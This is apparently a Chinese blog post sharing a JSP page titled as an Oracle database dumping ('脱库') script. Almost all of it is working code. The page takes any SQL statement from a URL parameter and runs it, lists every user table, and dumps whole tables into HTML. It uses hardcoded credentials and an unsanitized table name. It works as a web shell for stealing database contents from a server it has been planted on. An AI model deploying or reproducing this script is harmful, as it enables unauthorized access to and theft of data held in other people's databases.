虽说十分简陋,但是应对一般的查询操作已经足够了。
- <%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
- <%@ page import="java.sql.*" %>
- <%@ page import="java.util.*" %>
- <!DOCTYPE html>
- <html>
- <head>
- <title>Oracle数据库脱库脚本--N3verL4nd</title>
- </head>
- <body>
- <%!
- /** * 获取结果集的 ColumnLabel 对应的 List * @param rs * @return * @throws sqlException */
- @SuppressWarnings("unchecked")
- private List getColumnLabels(ResultSet rs) throws sqlException {
- ResultSetMetaData MetaData;
- List labels = new ArrayList();
- MetaData = rs.getMetaData();
- for (int i = 0; i < MetaData.getColumnCount(); i++) {
- labels.add(MetaData.getColumnLabel(i + 1));
- }
- return labels;
- }
-
- /** * 将 ResultSet 转换为 List 并返回 * @param rs * @return * @throws sqlException */
- @SuppressWarnings("unchecked")
- private List resolveResultSet(ResultSet rs) throws sqlException {
- List list = new ArrayList();
- Map map = null;
- List<String> labels = getColumnLabels(rs);
- while (rs.next()) {
- map = new HashMap();
- for (int i = 0; i < labels.size(); i++) {
- String label = labels.get(i);
- map.put(label,rs.getObject(label));
- }
- list.add(map);
- }
- return list;
- }
- %>
-
- <%
- try {
- Class.forName("oracle.jdbc.driver.OracleDriver");
- } catch (ClassNotFoundException e) {
- e.printStackTrace();
- }
-
- // 需要配置的地方
- //-----------------------------
- String url = "jdbc:oracle:thin:@127.0.0.1:1521:drcom";
- String username = "drcom";
- String password = "drcom";
- //-----------------------------
-
- Connection conn = null;
- Statement stmt = null;
- ResultSet rs = null;
-
- String path = request.getScheme() + "://" +
- request.getServerName() + ":" +
- request.getServerPort() +
- request.getContextPath() +
- request.getServletPath();
-
- try {
- conn = DriverManager.getConnection(url,username,password);
- if (request.getParameter("sql") != null && !request.getParameter("sql").equals("")) {
- String sql = request.getParameter("sql");
- stmt = conn.createStatement();
- rs = stmt.executeQuery(sql);
-
- List list = resolveResultSet(rs);
- for (int i = 0; i < list.size(); i++) {
- Map map = (Map) list.get(i);
- Iterator it = map.entrySet().iterator();
- while (it.hasNext()) {
- Map.Entry entry = (Map.Entry) it.next();
- Object key = entry.getKey();
- Object value = entry.getValue();
- out.println(key.toString().toLowerCase() + ":" + value);
- out.println(" ");
- }
- out.println("<br />");
- }
-
- } else if (request.getParameter("table") == null || request.getParameter("table").equals("")) {
- // 输出所有用户表
- stmt = conn.createStatement();
- rs = stmt.executeQuery("select table_name from user_tables");
- out.println("<p>当前 Oracle 数据库中所有用户表:</p>");
- while (rs.next()) {
- out.print("<a href=");
- out.print(path);
- out.print("?table=");
- out.print(rs.getString(1));
- out.print(" target=_blank>");
- out.print(rs.getString(1));
- out.print("</a><br />");
- }
- } else {
- String table = request.getParameter("table");
- stmt = conn.createStatement();
- rs = stmt.executeQuery("select * from " + table);
-
- List list = resolveResultSet(rs);
-
- out.println("当前数据库 " + table + " 共有 " + list.size() + " 条记录!<br />");
-
- out.println("<table border=\"1\">");
-
- if (list.size() != 0) {
- Map map = (Map) list.get(0);
- out.println("<tr>");
- Iterator it = map.entrySet().iterator();
- while (it.hasNext()) {
- Map.Entry entry = (Map.Entry) it.next();
- Object value = entry.getKey();
- out.println("<th>" + value + "</th>");
- }
- out.println("</tr>");
- }
-
- for (int i = 0; i < list.size(); i++) {
- out.println("<tr>");
- Map map = (Map) list.get(i);
- Iterator it = map.entrySet().iterator();
- while (it.hasNext()) {
- Map.Entry entry = (Map.Entry) it.next();
- Object value = entry.getValue();
- out.println("<td>" + value + "</td>");
- }
- out.println("</tr>");
- }
- out.println("</table>");
- }
-
- } catch (sqlException e) {
- e.printStackTrace();
- } finally {
- if (rs != null) {
- try {
- rs.close();
- } catch (sqlException e) {
- e.printStackTrace();
- }
- }
- if (stmt != null) {
- try {
- stmt.close();
- } catch (sqlException e) {
- e.printStackTrace();
- }
- }
- if (conn != null) {
- try {
- conn.close();
- } catch (sqlException e) {
- e.printStackTrace();
- }
- }
- }
- %>
- </body>
- </html>